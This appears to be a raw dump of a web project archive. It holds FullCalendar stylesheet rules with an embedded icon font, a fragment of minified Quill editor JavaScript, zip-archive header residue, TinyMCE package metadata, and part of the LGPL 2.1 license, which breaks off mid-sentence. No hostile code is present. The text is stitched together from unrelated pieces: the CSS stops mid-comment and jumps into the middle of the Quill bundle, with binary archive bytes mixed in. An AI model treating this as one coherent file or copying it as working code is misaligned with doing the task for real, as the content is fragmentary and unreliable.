.fc-liquid-hack td, .fc-liquid-hack th { position: relative; } @font-face { font-family: 'fcicons'; src: url("data:application/x-font-ttf;charset=utf-8;base64,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") format('truetype'); font-weight: normal; font-style: normal; } .fc-icon { /* added for fc */ display: inline-block; width: 1em; height: 1em; text-align: center; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; /* use !important to prevent issues with browser extensions that change fonts */ font-family: 'fcicons' !important; speak: none; font-style: normal; font-weight: normal; font-variant: normal; text-transform: none; line-height: 1; /* Better Font Rendering =========== */ -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } .fc-icon-chevron-left:before { content: "\e900"; } .fc-icon-chevron-right:before { content: "\e901"; } .fc-icon-chevrons-left:before { content: "\e902"; } .fc-icon-chevrons-right:before { content: "\e903"; } .fc-icon-minus-square:before { content: "\e904"; } .fc-icon-plus-square:before { content: "\e905"; } .fc-icon-x:before { content: "\e906"; } /* Lots taken from Flatly (MIT): https://bootswatch.com/4/flatly/bootstrap.css These styles only apply when the standard-theme is activated. When it's NOT activated, the fc-button classes won't even be in the DOM. */ .fc { /* reset */ } .fc .fc-button { border-radius: 0; overflow: visible; text-transform: none; margin: 0; font-family: inherit; font-size: inherit; line-height: inherit; } .fc .fc-button:focus { outline: 1px dotted; outline: 5px auto -webkit-focus-ring-color; } .fc .fc-button { -webkit-appearance: button; } .fc .fc-button:not(:disabled) { cursor: pointer; } .fc .fc-button::-moz-focus-inner { padding: 0; border-style: none; } .fc { /* theme */ } .fc .fc-button { display: inline-block; font-weight: 400; text-align: center; vertical-align: middle; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; background-color: transparent; border: 1px solid transparent; padding: 0.4em 0.65em; font-size: 1em; line-height: 1.5; border-radius: 0.25em; } .fc .fc-button:hover { text-decoration: none; } .fc .fc-button:focus { outline: 0; box-shadow: 0 0 0 0.2rem rgba(44, 62, 80, 0.25); } .fc .fc-button:disabled { opacity: 0.65; } .fc { /* "primary" coloring */ } .fc .fc-button-primary { color: #fff; color: var(--fc-button-text-color, #fff); background-color: #2C3E50; background-color: var(--fc-button-bg-color, #2C3E50); border-color: #2C3E50; border-color: var(--fc-button-border-color, #2C3E50); } .fc .fc-button-primary:hover { color: #fff; color: var(--fc-button-text-color, #fff); background-color: #1e2b37; background-color: var(--fc-button-hover-bg-color, #1e2b37); border-color: #1a252f; border-color: var(--fc-button-hover-border-color, #1a252f); } .fc .fc-button-primary:disabled { /* not DRY */ color: #fff; color: var(--fc-button-text-color, #fff); background-color: #2C3E50; background-color: var(--fc-button-bg-color, #2C3E50); border-color: #2C3E50; border-color: var(--fc-button-border-color, #2C3E50); /* overrides :hover */ } .fc .fc-button-primary:focus { box-shadow: 0 0 0 0.2rem rgba(76, 91, 106, 0.5); } .fc .fc-button-primary:not(:disabled):active, .fc .fc-button-primary:not(:disabled).fc-button-active { color: #fff; color: var(--fc-button-text-color, #fff); background-color: #1a252f; background-color: var(--fc-button-active-bg-color, #1a252f); border-color: #151e27; border-color: var(--fc-button-active-border-color, #151e27); } .fc .fc-button-primary:not(:disabled):active:focus, .fc .fc-button-primary:not(:disabled).fc-button-active:focus { box-shadow: 0 0 0 0.2rem rgba(76, 91, 106, 0.5); } .fc { /* icons within buttons */ } .fc .fc-button .fc-icon { vertical-align: middle; font-size: 1.5em; /* bump up the size (but don't make it bigger than line-height of button, which is 1.5em also) */ } .fc .fc-button-group { position: relative; display: inline-flex; vertical-align: middle; } .fc .fc-button-group > .fc-button { position: relative; flex: 1 1 auto; } .fc .fc-button-group > .fc-button:hover { z-index: 1; } .fc .fc-button-group > .fc-button:focus, .fc .fc-button-group > .fc-button:active, .fc .fc-button-group > .fc-button.fc-button-active { z-index: 1; } .fc-direction-ltr .fc-button-group > .fc-button:not(:first-child) { margin-left: -1px; border-top-left-radius: 0; border-bottom-left-radius: 0; } .fc-direction-ltr .fc-button-group > .fc-button:not(:last-child) { border-top-right-radius: 0; border-bottom-right-radius: 0; } .fc-direction-rtl .fc-button-group > .fc-button:not(:first-child) { margin-right: -1px; border-top-right-radius: 0; border-bottom-right-radius: 0; } .fc-direction-rtl .fc-button-group > .fc-button:not(:last-child) { border-top-left-radius: 0; border-bottom-left-radius: 0; } .fc .fc-toolbar { display: flex; justify-content: space-between; align-items: center; } .fc .fc-toolbar.fc-header-toolbar { margin-bottom: 1.5em; } .fc .fc-toolbar.fc-footer-toolbar { margin-top: 1.5em; } .fc .fc-toolbar-title { font-size: 1.75em; margin: 0; } .fc-direction-ltr .fc-toolbar > * > :not(:first-child) { margin-left: .75em; /* space between */ } .fc-direction-rtl .fc-toolbar > * > :not(:first-child) { margin-right: .75em; /* space between */ } .fc-direction-rtl .fc-toolbar-ltr { /* when the toolbar-chunk positioning system is explicitly left-to-right */ flex-direction: row-reverse; } .fc .fc-scroller { -webkit-overflow-scrolling: touch; position: relative; /* for abs-positioned elements within */ } .fc .fc-scroller-liquid { height: 100%; } .fc .fc-scroller-liquid-absolute { position: absolute; top: 0; right: 0; left: 0; bottom: 0; } .fc .fc-scroller-harness { position: relative; overflow: hidden; direction: ltr; /* hack for chrome computing the scroller's right/left wrong for rtl. undone below... */ /* TODO: demonstrate in codepen */ } .fc .fc-scroller-harness-liquid { height: 100%; } .fc-direction-rtl .fc-scroller-harness > .fc-scroller { /* undo above hack */ direction: rtl; } .fc-theme-standard .fc-scrollgrid { border: 1px solid #ddd; border: 1px solid var(--fc-border-color, #ddd); /* bootstrap does this. match */ } .fc .fc-scrollgrid, .fc .fc-scrollgrid table { /* all tables (self included) */ width: 100%; /* because tables don't normally do this */ table-layout: fixed; } .fc .fc-scrollgrid table { /* inner tables */ border-top-style: hidden; border-left-style: hidden; border-right-style: hidden; } .fc .fc-scrollgrid { border-collapse: separate; border-right-width: 0; border-bottom-width: 0; } .fc .fc-scrollgrid-liquid { height: 100%; } .fc .fc-scrollgrid-section { /* a */ height: 1px /* better than 0, for firefox */ } .fc .fc-scrollgrid-section > td { height: 1px; /* needs a height so inner div within grow. better than 0, for firefox */ } .fc .fc-scrollgrid-section table { height: 1px; /* for most browsers, if a height isn't set on the table, can't do liquid-height within cells */ /* serves as a min-height. harmless */ } .fc .fc-scrollgrid-section-liquid > td { height: 100%; /* better than `auto`, for firefox */ } .fc .fc-scrollgrid-section > * { border-top-width: 0; border-left-width: 0; } .fc .fc-scrollgrid-section-header > *, .fc .fc-scrollgrid-section-footer > * { border-bottom-width: 0; } .fc .fc-scrollgrid-section-body table, .fc .fc-scrollgrid-section-footer table { border-bottom-style: hidden; /* head keeps its bottom border tho */ } .fc { /* stickiness */ } .fc .fc-scrollgrid-section-sticky > * { background: #fff; background: var(--fc-page-bg-color, #fff); position: sticky; z-index: 3; /* TODO: var */ /* TODO: box-shadow when sticking */ } .fc .fc-scrollgrid-section-header.fc-scrollgrid-section-sticky > * { top: 0; /* because border-sharing causes a gap at the top */ /* TODO: give safari -1. has bug */ } .fc .fc-scrollgrid-section-footer.fc-scrollgrid-section-sticky > * { bottom: 0; /* known bug: bottom-stickiness doesn't work in safari */ } .fc .fc-scrollgrid-sticky-shim { /* for horizontal scrollbar */ height: 1px; /* needs height to create scrollbars */ margin-bottom: -1px; } .fc-sticky { /* no .fc wrap because used as child of body */ position: sticky; } .fc .fc-view-harness { flex-grow: 1; /* because this harness is WITHIN the .fc's flexbox */ position: relative; } .fc { /* when the harness controls the height, make the view liquid */ } .fc .fc-view-harness-active > .fc-view { position: absolute; top: 0; right: 0; bottom: 0; left: 0; } .fc .fc-col-header-cell-cushion { display: inline-block; /* x-browser for when sticky (when multi-tier header) */ padding: 2px 4px; } .fc .fc-bg-event, .fc .fc-non-business, .fc .fc-highlight { /* will always have a harness with position:relative/absolute, so absolutely expand */ position: absolute; top: 0; left: 0; right: 0; bottom: 0; } .fc .fc-non-business { background: rgba(215, 215, 215, 0.3); background: var(--fc-non-business-color, rgba(215, 215, 215, 0.3)); } .fc .fc-bg-event { background: rgb(143, 223, 130); background: var(--fc-bg-event-color, rgb(143, 223, 130)); opacity: 0.3; opacity: var(--fc-bg-event-opacity, 0.3) } .fc .fc-bg-event .fc-event-title { margin: .5em; font-size: .85em; font-size: var(--fc-small-font-size, .85em); font-style: italic; } .fc .fc-highlight { background: rgba(188, 232, 241, 0.3); background: var(--fc-highlight-color, rgba(188, 232, 241, 0.3)); } .fc .fc-cell-shaded, .fc .fc-day-disabled { background: rgba(208, 208, 208, 0.3); background: var(--fc-neutral-bg-color, rgba(208, 208, 208, 0.3)); } /* link resets */ /* ---------------------------------------------------------------------------------------------------- */ a.fc-event, a.fc-event:hover { text-decoration: none; } /* cursor */ .fc-event[href], .fc-event.fc-event-draggable { cursor: pointer; } /* event text content */ /* ---------------------------------------------------------------------------------------------------- */ .fc-event .fc-event-main { position: relative; z-index: 2; } /* dragging */ /* ---------------------------------------------------------------------------------------------------- */ .fc-event-dragging:not(.fc-event-selected) { /* MOUSE */ opacity: 0.75; } .fc-event-dragging.fc-event-selected { /* TOUCH */ box-shadow: 0 2px 7px rgba(0, 0, 0, 0.3); } /* resizing */ /* ---------------------------------------------------------------------------------------------------- */ /* (subclasses should hone positioning for touch and non-touch) */ .fc-event .fc-event-resizer { display: none; position: absolute; z-index: 4; } .fc-event:hover, /* MOUSE */ .fc-event-selected { /* TOUCH */ } .fc-event:hover .fc-event-resizer, .fc-event-selected .fc-event-resizer { display: block; } .fc-event-selected .fc-event-resizer { border-radius: 4px; border-radius: calc(var(--fc-event-resizer-dot-total-width, 8px) / 2); border-width: 1px; border-width: var(--fc-event-resizer-dot-border-width, 1px); width: 8px; width: var(--fc-event-resizer-dot-total-width, 8px); height: 8px; height: var(--fc-event-resizer-dot-total-width, 8px); border-style: solid; border-color: inherit; background: #fff; background: var(--fc-page-bg-color, #fff) /* expand hit area */ } .fc-event-selected .fc-event-resizer:before { content: ''; position: absolute; top: -20px; left: -20px; right: -20px; bottom: -20px; } /* selecting (always TOUCH) */ /* OR, focused by tab-index */ /* (TODO: maybe not the best focus-styling for .fc-daygrid-dot-event) */ /* ---------------------------------------------------------------------------------------------------- */ .fc-event-selected, .fc-event:focus { box-shadow: 0 2px 5px rgba(0, 0, 0, 0.2) /* expand hit area (subclasses should expand) */ } .fc-event-selected:before, .fc-event:focus:before { content: ""; position: absolute; z-index: 3; top: 0; left: 0; right: 0; bottom: 0; } .fc-event-selected, .fc-event:focus { /* dimmer effect */ } .fc-event-selected:after, .fc-event:focus:after { content: ""; background: rgba(0, 0, 0, 0.25); background: var(--fc-event-selected-overlay-color, rgba(0, 0, 0, 0.25)); position: absolute; z-index: 1; /* assume there's a border on all sides. overcome it. */ /* sometimes there's NOT a border, in which case the dimmer will go over */ /* an adjacent border, which looks fine. */ top: -1px; left: -1px; right: -1px; bottom: -1px; } /* A HORIZONTAL event */ .fc-h-event { /* allowed to be top-level */ display: block; border: 1px solid #3788d8; border: 1px solid var(--fc-event-border-color, #3788d8); background-color: #3788d8; background-color: var(--fc-event-bg-color, #3788d8) } .fc-h-event .fc-event-main { color: #fff; color: var(--fc-event-text-color, #fff); } .fc-h-event .fc-event-main-frame { display: flex; /* for make fc-event-title-container expand */ } .fc-h-event .fc-event-time { max-width: 100%; /* clip overflow on this element */ overflow: hidden; } .fc-h-event .fc-event-title-container { /* serves as a container for the sticky cushion */ flex-grow: 1; flex-shrink: 1; min-width: 0; /* important for allowing to shrink all the way */ } .fc-h-event .fc-event-title { display: inline-block; /* need this to be sticky cross-browser */ vertical-align: top; /* for not messing up line-height */ left: 0; /* for sticky */ right: 0; /* for sticky */ max-width: 100%; /* clip overflow on this element */ overflow: hidden; } .fc-h-event.fc-event-selected:before { /* expand hit area */ top: -10px; bottom: -10px; } /* adjust border and border-radius (if there is any) for non-start/end */ .fc-direction-ltr .fc-daygrid-block-event:not(.fc-event-start), .fc-direction-rtl .fc-daygrid-block-event:not(.fc-event-end) { border-top-left-radius: 0; border-bottom-left-radius: 0; border-left-width: 0; } .fc-direction-ltr .fc-daygrid-block-event:not(.fc-event-end), .fc-direction-rtl .fc-daygrid-block-event:not(.fc-event-start) { border-top-right-radius: 0; border-bottom-right-radius: 0; border-right-width: 0; } /* resizers */ .fc-h-event:not(.fc-event-selected) .fc-event-resizer { top: 0; bottom: 0; width: 8px; width: var(--fc-event-resizer-thickness, 8px); } .fc-direction-ltr .fc-h-event:not(.fc-event-selected) .fc-event-resizer-start, .fc-direction-rtl .fc-h-event:not(.fc-event-selected) .fc-event-resizer-end { cursor: w-resize; left: -4px; left: calc(-0.5 * var(--fc-event-resizer-thickness, 8px)); } .fc-direction-ltr .fc-h-event:not(.fc-event-selected) .fc-event-resizer-end, .fc-direction-rtl .fc-h-event:not(.fc-event-selected) .fc-event-resizer-start { cursor: e-resize; right: -4px; right: calc(-0.5 * var(--fc-event-resizer-thickness, 8px)); } /* resizers for TOUCH */ .fc-h-event.fc-event-selected .fc-event-resizer { top: 50%; margin-top: -4px; margin-top: calc(-0.5 * var(--fc-event-resizer-dot-total-width, 8px)); } .fc-direction-ltr .fc-h-event.fc-event-selected .fc-event-resizer-start, .fc-direction-rtl .fc-h-event.fc-event-selected .fc-event-resizer-end { left: -4px; left: calc(-0.5 * var(--fc-event-resizer-dot-total-width, 8px)); } .fc-direction-ltr .fc-h-event.fc-event-selected .fc-event-resizer-end, .fc-direction-rtl .fc-h-event.fc-event-selected .fc-event-resizer-start { right: -4px; right: calc(-0.5 * var(--fc-event-resizer-dot-total-width, 8px)); } .fc .fc-popover { position: absolute; z-index: 9999; box-shadow: 0 2px 6px rgba(0,0,0,.15); } .fc .fc-popover-header { display: flex; flex-direction: row; justify-content: space-between; align-items: center; padding: 3px 4px; } .fc .fc-popover-title { margin: 0 2px; } .fc .fc-popover-close { cursor: pointer; opacity: 0.65; font-size: 1.1em; } .fc-theme-standard .fc-popover { border: 1px solid #ddd; border: 1px solid var(--fc-border-color, #ddd); background: #fff; background: var(--fc-page-bg-color, #fff); } .fc-theme-standard .fc-popover-header { background: rgba(208, 208, 208, 0.3); background: var(--fc-neutral-bg-color, rgba(208, 208, 208, 0.3)); } :root { --fc-daygrid-event-dot-width: 8px; } /* help things clear margins of inner content */ .fc-daygrid-day-frame, .fc-daygrid-day-events, .fc-daygrid-event-harness { /* for event top/bottom margins */ } .fc-daygrid-day-frame:before, .fc-daygrid-day-events:before, .fc-daygrid-event-harness:before { content: ""; clear: both; display: table; } .fc-daygrid-day-frame:after, .fc-daygrid-day-events:after, .fc-daygrid-event-harness:after { content: ""; clear: both; display: table; } .fc .fc-daygrid-body { /* a

    "].join(""), e.BubbleTooltip = _, e.default = m }, function(t, e, n) { "use strict"; function r(t) { return t && t.__esModule ? t : { default: t } } function o(t, e) { if (!(t instanceof e)) throw new TypeError("Cannot call a class as a function") } function i(t, e) { if (!t) throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); return !e || "object" != typeof e && "function" != typeof e ? t : e } function l(t, e) { if ("function" != typeof e && null !== e) throw new TypeError("Super expression must either be null or a function, not " + typeof e); t.prototype = Object.create(e && e.prototype, { constructor: { value: t, enumerable: !1, writable: !0, configurable: !0 } }), e && (Object.setPrototypeOf ? Object.setPrototypeOf(t, e) : t.__proto__ = e) } Object.defineProperty(e, "__esModule", { value: !0 }); var a = function() { function t(t, e) { var n = [], r = !0, o = !1, i = void 0; try { for (var l, a = t[Symbol.iterator](); !(r = (l = a.next()).done) && (n.push(l.value), !e || n.length !== e); r = !0); } catch (t) { o = !0, i = t } finally { try {!r && a.return && a.return() } finally { if (o) throw i } } return n } return function(e, n) { if (Array.isArray(e)) return e; if (Symbol.iterator in Object(e)) return t(e, n); throw new TypeError("Invalid attempt to destructure non-iterable instance") } }(), s = function t(e, n, r) { null === e && (e = Function.prototype); var o = Object.getOwnPropertyDescriptor(e, n); if (void 0 === o) { var i = Object.getPrototypeOf(e); return null === i ? void 0 : t(i, n, r) } if ("value" in o) return o.value; var l = o.get; if (void 0 !== l) return l.call(r) }, u = function() { function t(t, e) { for (var n = 0; n < e.length; n++) { var r = e[n]; r.enumerable = r.enumerable || !1, r.configurable = !0, "value" in r && (r.writable = !0), Object.defineProperty(t, r.key, r) } } return function(e, n, r) { return n && t(e.prototype, n), r && t(e, r), e } }(), c = n(2), f = r(c), h = n(9), p = r(h), d = n(44), y = r(d), v = n(15), b = r(v), g = n(22), m = n(26), _ = r(m), O = [ [{ header: ["1", "2", "3", !1] }], ["bold", "italic", "underline", "link"], [{ list: "ordered" }, { list: "bullet" }], ["clean"] ], w = function(t) { function e(t, n) { o(this, e), null != n.modules.toolbar && null == n.modules.toolbar.container && (n.modules.toolbar.container = O); var r = i(this, (e.__proto__ || Object.getPrototypeOf(e)).call(this, t, n)); return r.quill.container.classList.add("ql-snow"), r } return l(e, t), u(e, [{ key: "extendToolbar", value: function(t) { t.container.classList.add("ql-snow"), this.buildButtons([].slice.call(t.container.querySelectorAll("button")), _.default), this.buildPickers([].slice.call(t.container.querySelectorAll("select")), _.default), this.tooltip = new x(this.quill, this.options.bounds), t.container.querySelector(".ql-link") && this.quill.keyboard.addBinding({ key: "K", shortKey: !0 }, function(e, n) { t.handlers.link.call(t, !n.format.link) }) } }]), e }(y.default); w.DEFAULTS = (0, f.default)(!0, {}, y.default.DEFAULTS, { modules: { toolbar: { handlers: { link: function(t) { if (t) { var e = this.quill.getSelection(); if (null == e || 0 == e.length) return; var n = this.quill.getText(e); /^\S+@\S+\.\S+$/.test(n) && 0 !== n.indexOf("mailto:") && (n = "mailto:" + n); this.quill.theme.tooltip.edit("link", n) } else this.quill.format("link", !1) } } } } }); var x = function(t) { function e(t, n) { o(this, e); var r = i(this, (e.__proto__ || Object.getPrototypeOf(e)).call(this, t, n)); return r.preview = r.root.querySelector("a.ql-preview"), r } return l(e, t), u(e, [{ key: "listen", value: function() { var t = this; s(e.prototype.__proto__ || Object.getPrototypeOf(e.prototype), "listen", this).call(this), this.root.querySelector("a.ql-action").addEventListener("click", function(e) { t.root.classList.contains("ql-editing") ? t.save() : t.edit("link", t.preview.textContent), e.preventDefault() }), this.root.querySelector("a.ql-remove").addEventListener("click", function(e) { if (null != t.linkRange) { var n = t.linkRange; t.restoreFocus(), t.quill.formatText(n, "link", !1, p.default.sources.USER), delete t.linkRange } e.preventDefault(), t.hide() }), this.quill.on(p.default.events.SELECTION_CHANGE, function(e, n, r) { if (null != e) { if (0 === e.length && r === p.default.sources.USER) { var o = t.quill.scroll.descendant(b.default, e.index), i = a(o, 2), l = i[0], s = i[1]; if (null != l) { t.linkRange = new g.Range(e.index - s, l.length()); var u = b.default.formats(l.domNode); return t.preview.textContent = u, t.preview.setAttribute("href", u), t.show(), void t.position(t.quill.getBounds(t.linkRange)) } } else delete t.linkRange; t.hide() } }) } }, { key: "show", value: function() { s(e.prototype.__proto__ || Object.getPrototypeOf(e.prototype), "show", this).call(this), this.root.removeAttribute("data-mode") } }]), e }(d.BaseTooltip); x.TEMPLATE = ['', '', '', ''].join(""), e.default = w }]).default }); //# sourceMappingURL=quill.min.js.mapPKZ.^== js/plugins/tinymce/composer.jsonnu[{ "name": "tinymce/tinymce", "version": "5.10.3", "description": "Web based JavaScript HTML WYSIWYG editor control.", "license": [ "LGPL-2.1-only" ], "keywords": [ "wysiwyg", "tinymce", "richtext", "javascript", "html", "text", "rich editor", "rich text editor", "rte", "rich text", "contenteditable", "editing" ], "homepage": "https://www.tiny.cloud/", "type": "component", "extra": { "component": { "scripts": [ "tinymce.js", "plugins/*/plugin.js", "themes/*/theme.js", "themes/*/icons.js" ], "files": [ "tinymce.min.js", "plugins/*/plugin.min.js", "themes/*/theme.min.js", "skins/**", "icons/*/icons.min.js" ] } }, "archive": { "exclude": [ "README.md", "bower.js", "package.json", ".npmignore", "CHANGELOG.md" ] } }PKZkIgIgjs/plugins/tinymce/license.txtnu[ GNU LESSER GENERAL PUBLIC LICENSE Version 2.1, February 1999 Copyright (C) 1991, 1999 Free Software Foundation, Inc. 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. [This is the first released version of the Lesser GPL. It also counts as the successor of the GNU Library Public License, version 2, hence the version number 2.1.] Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public Licenses are intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This license, the Lesser General Public License, applies to some specially designated software packages--typically libraries--of the Free Software Foundation and other authors who decide to use it. You can use it too, but we suggest you first think carefully about whether this license or the ordinary General Public License is the better strategy to use in any particular case, based on the explanations below. When we speak of free software, we are referring to freedom of use, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish); that you receive source code or can get it if you want it; that you can change the software and use pieces of it in new free programs; and that you are informed that you can do these things. To protect your rights, we need to make restrictions that forbid distributors to deny you these rights or to ask you to surrender these rights. These restrictions translate to certain responsibilities for you if you distribute copies of the library or if you modify it. For example, if you distribute copies of the library, whether gratis or for a fee, you must give the recipients all the rights that we gave you. You must make sure that they, too, receive or can get the source code. If you link other code with the library, you must provide complete object files to the recipients, so that they can relink them with the library after making changes to the library and recompiling it. And you must show them these terms so they know their rights. We protect your rights with a two-step method: (1) we copyright the library, and (2) we offer you this license, which gives you legal permission to copy, distribute and/or modify the library. To protect each distributor, we want to make it very clear that there is no warranty for the free library. Also, if the library is modified by someone else and passed on, the recipients should know that what they have is not the original version, so that the original author's reputation will not be affected by problems that might be introduced by others. Finally, software patents pose a constant threat to the existence of any free program. We wish to make sure that a company cannot effectively restrict the users of a free program by obtaining a restrictive license from a patent holder. Therefore, we insist that any patent license obtained for a version of the library must be consistent with the full freedom of use specified in this license. Most GNU software, including some libraries, is covered by the ordinary GNU General Public License. This license, the GNU Lesser General Public License, applies to certain designated libraries, and is quite different from the ordinary General Public License. We use this license for certain libraries in order to permit linking those libraries into non-free programs. When a program is linked with a library, whether statically or using a shared library, the combination of the two is legally speaking a combined work, a derivative of the original library. The ordinary General Public License therefore permits such linking only if the entire combination fits its criteria of freedom. The Lesser General Public License permits more lax criteria for linking other code with the library. We call this license the "Lesser" General Public License because it does Less to protect the user's freedom than the ordinary General Public License. It also provides other free software developers Less of an advantage over competing non-free programs. These disadvantages are the reason we use the ordinary General Public License for many libraries. However, the Lesser license provides advantages in certain special circumstances. For example, on rare occasions, there may be a special need to encourage the widest possible use of a certain library, so that it becomes a de-facto standard. To achieve this, non-free programs must be allowed to use the library. A more frequent case is that a free library does the same job as widely used non-free libraries. In this case, there is little to gain by limiting the free library to free software only, so we use the Lesser General Public License. In other cases, permission to use a particular library in non-free programs enables a greater number of people to use a large body of free software. For example, permission to use the GNU C Library in non-free programs enables many more people to use the whole GNU operating system, as well as its variant, the GNU/Linux operating system. Although the Lesser General Public License is Less protective of the users' freedom, it does ensure that the user of a program that is linked with the Library has the freedom and the wherewithal to run that program using a modified version of the Library. The precise terms and conditions for copying, distribution and modification follow. Pay close attention to the difference between a "work based on the library" and a "work that uses the library". The former contains code derived from the library, whereas the latter must be combined with the library in order to run. GNU LESSER GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License Agreement applies to any software library or other program which contains a notice placed by the copyright holder or other authorized party saying it may be distributed under the terms of this Lesser General Public License (also called "this License"). Each licensee is addressed as "you". A "library" means a collection of software functions and/or data prepared so as to be conveniently linked with application programs (which use some of those functions and data) to form executables. The "Library", below, refers to any such software library or work which has been distributed under these terms. A "work based on the Library" means either the Library or any derivative work under copyright law: that is to say, a work containing the Library or a portion of it, either verbatim or with modifications and/or translated straightforwardly into another language. (Hereinafter, translation is included without limitation in the term "modification".) "Source code" for a work means the preferred form of the work for making modifications to it. For a library, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used 